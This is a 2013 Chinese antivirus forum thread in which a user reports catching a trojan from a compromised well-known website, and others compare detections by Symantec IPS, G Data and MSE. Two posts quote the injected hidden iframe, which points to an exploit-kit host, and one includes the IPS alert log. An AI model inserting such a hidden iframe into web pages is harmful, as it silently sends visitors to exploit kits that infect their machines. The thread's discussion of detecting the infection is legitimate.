今天我终于中奖了，习惯再好，没有杀毒软件也是不行的【小马一枚】

显示全部楼层 · 发表于 2013-6-9 19:56:18

ie 限制脚本运行，允许后趋势web拦截

显示全部楼层 · 发表于 2013-6-9 21:14:24

是小马一匹……我去找人解了……暂时没有回应……

显示全部楼层 · 发表于 2013-6-9 22:58:03

本帖最后由 m220011 于 2013-6-9 23:08 编辑

<iframe src='http://xwqgondby.rr.nu/?go=2' width='10' height='10' style='visibility:hidden
;position:absolute;left:0;top:0;'></iframe>

复制代码

类别：入侵防护
日期和时间,风险,活动,状态,推荐的操作,IPS 警报名称,默认操作,采取的操作,攻击电脑,攻击者网址,目标地址,源地址,通信说明
2013/6/9 23:02:11,高,阻止了 XXX 的入侵企图,已阻止,不需要操作,Web Attack: Exploit Toolkit Website 7,不需要操作,不需要操作,"xxxx (192.168.137.4, 50986)",xwqgondby.rr.nu/?go=2,"xwqgondby.rr.nu (67.208.74.71, 80)",192.168.137.4 (192.168.137.4),"TCP, 端口 50986"
来自 <b>xwqgondby.rr.nu/?go=2</b> 的网络通信与已知攻击的特征相匹配。攻击由 \DEVICE\HARDDISKVOLUME3\PROGRAM FILES (X86)\GOOGLE\CHROME\APPLICATION\CHROME.EXE 引起。要停止接收有关此类通信的通知，请在<b>“操作”</b>面板中单击<b>“不再提醒我”</b>。

显示全部楼层 · 发表于 2013-6-9 22:58:19

蓝核发表于 2013-6-9 21:14
是小马一匹……我去找人解了……暂时没有回应……

<iframe src='http://xwqgondby.rr.nu/?go=2' width='10' height='10' style='visibility:hidden
;position:absolute;left:0;top:0;'></iframe>

复制代码

显示全部楼层 · 发表于 2013-6-10 00:02:10

MSE扫描怎么没报？解压出来被杀了

显示全部楼层 · 发表于 2013-6-10 00:23:52

前几天
你还说
你N年没中毒了

恭喜了

显示全部楼层 · 发表于 2013-6-10 02:34:15

网站被阻止！

G Data 互联网安全套装 2013已阻止访问此网站。
该站点包含被感染的代码：JS:Redirector-ZI [Trj] (引擎B).

显示全部楼层 · 发表于 2013-6-10 03:18:45

wefiwhfve 发表于 2013-6-9 19:00
我表示经常听到avast的声音：已经检测到威胁。我经常在google里找资料的时候遇到的。

同楼主

显示全部楼层 · 发表于 2013-6-10 05:43:41

dayu66888 发表于 2013-6-10 00:23
前几天
你还说
你N年没中毒了

是啊，所以我才发帖秀一下，毕竟是稀有物品，而且还是名站挂马，该公司很注重安全呢，只是我不想说明说是那个公司

显示全部楼层 · 发表于 2013-6-10 09:26:14

驭龙发表于 2013-6-10 05:43
是啊，所以我才发帖秀一下，毕竟是稀有物品，而且还是名站挂马，该公司很注重安全呢，只是我不想说明说是 ...

名站。。
说一下首字母吧

[可疑文件] 今天我终于中奖了，习惯再好，没有杀毒软件也是不行的【小马一枚】

评分